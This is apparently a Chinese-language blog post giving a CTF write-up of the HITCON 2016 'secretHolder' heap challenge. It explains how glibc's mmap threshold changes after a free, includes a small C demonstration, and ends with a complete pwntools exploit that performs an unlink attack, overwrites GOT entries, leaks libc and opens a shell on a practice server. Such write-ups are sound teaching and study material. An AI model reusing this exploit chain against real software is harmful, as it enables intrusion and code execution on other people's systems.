secretHolder_hitcon_2016(有关mmap的chunk如何分配到top chunk里与普通chunk相邻)

161 篇文章 9 订阅
161 篇文章 9 订阅

secretHolder_hitcon_2016

这题和上一题https://blog.csdn.net/seaaseesa/article/details/105856878功能相似,并且上一题的利用手法这里同样可以利用,这里,有另一种手法,从而引出了一个新的知识点。

这题,delete功能里增加了对huge chunk的free

 

Huge chunk的大小为0x61A80,这会使用mmap来分配。

我们先来看一下glibc的源码,当top chunk的size满足不了申请的大小后,就会调用sysmalloc来分配chunk给用户。

当top chunk为空,或者请求的size大于等于mmap的阈值,会使用mmap来映射内存给用户。

并且映射的大小是页对齐的

否则,扩展top chunk,然后从top chunk里分配内存

因此,我们只要从第一个if判断阈值那里逃逸过去,这样就可以从top chunk里分配。

我们看看这个阈值

程序中的huge chunk大小为0x61A80,大于最小阈值,因此第一次malloc(0x61A80),使用mmap分配内存。当free这个chunk的时候,我们看到free的源码,对阈值做了调整,将阈值设置为了chunksize,由于之前申请chunk时,size做了页对齐,所以,此时chunksize(p)为0x62000,,也就是阈值将修改为0x62000。

下一次,我们重新malloc的时候,只要nb大小小于0x62000这个阈值,就会从top chunk分配。因此,当我们再次malloc(0x61A80)的时候,nb = 0x61A90,小于阈值,就绕过了if,执行后面的代码从top chunk分配。

我们可以做个实验

#include <stdio.h>
#include <stdlib.h>

char *ptr;

int main() {
   setbuf(stdout,0);
   setbuf(stdin,0);
   setbuf(stderr,0);
   ptr = malloc(0x61A800);
   printf("huge chunk ptr=0x%lx\n",ptr);
   printf("free huge chunk\n");
   free(ptr);
   printf("malloc huge chunk\n");
   ptr = malloc(0x61A800);
   printf("huge chunk ptr=0x%lx\n",ptr);
   getchar();
}

我们看到第二次申请回来的时候,地址变成了普通堆的地址。

那么,我们回到题目,我们可以先构造堆布局

0x30 fastbin

0xFB0 unsorted bin

Top chunk

 

由于bss上保留了堆指针没有清空,接下来,我们malloc huge chunk,首先会发生malloc_consolidate,将fastbin也合并到top chunk,接下来调用sysmalloc,扩展top chunk,然后从top chunk里分配。最终,返回的chunk地址与0x30的fastbin的地址是同一个。那么,通过这个huge chunk,在对应指针指向的位置伪造几个chunk,最后通过delete unsorted bin那个chunk对应的指针,达到unlink。实现了unlink后,就可以实现任意地址读写。

#coding:utf8
from pwn import *

#context.log_level = 'debug'
#sh = process('./secretHolder_hitcon_2016')
sh = remote('node3.buuoj.cn',25895)
elf = ELF('./secretHolder_hitcon_2016')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']

def add(type,content):
   sh.sendlineafter('3. Renew secret','1')
   sh.sendlineafter('3. Huge secret',str(type))
   sh.sendafter('Tell me your secret:',content)

def delete(type):
   sh.sendlineafter('3. Renew secret','2')
   sh.sendlineafter('3. Huge secret',str(type))

def edit(type,content):
   sh.sendlineafter('3. Renew secret','3')
   sh.sendlineafter('3. Huge secret',str(type))
   sh.sendafter('Tell me your secret:',content)

huge_ptr_addr = 0x00000000006020A8
add(1,'a'*0x20) #small
add(2,'b'*0x20) #big
delete(1)
delete(2)
#使用了mmap分配大chunk
add(3,'c'*0x20)
#释放后,阈值被调整,下一次将从top chunk里分配
delete(3)
#chunk1
fake_chunk = p64(0) + p64(0x21)
#fd、bk
fake_chunk += p64(huge_ptr_addr - 0x18) + p64(huge_ptr_addr - 0x10)
fake_chunk += p64(0x20) + p64(0x100)
fake_chunk += 'b'*0xF0
fake_chunk += (p64(0) + p64(0x21) + 'd'*0x10) * 2
add(3,fake_chunk)
#unlink
delete(2)
#控制堆数组
edit(3,'\x00'*0x10 + p64(atoi_got) + p64(atoi_got) + p64(free_got) + p64(1)*3)
#修改free的got表为puts的plt
edit(1,p64(puts_plt))
#泄露atoi的got表
delete(3)
sh.recvuntil('\n')
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改atoi的got表为system地址
edit(2,p64(system_addr))
#getshell
sh.sendlineafter('3. Renew secret','sh\x00')

sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值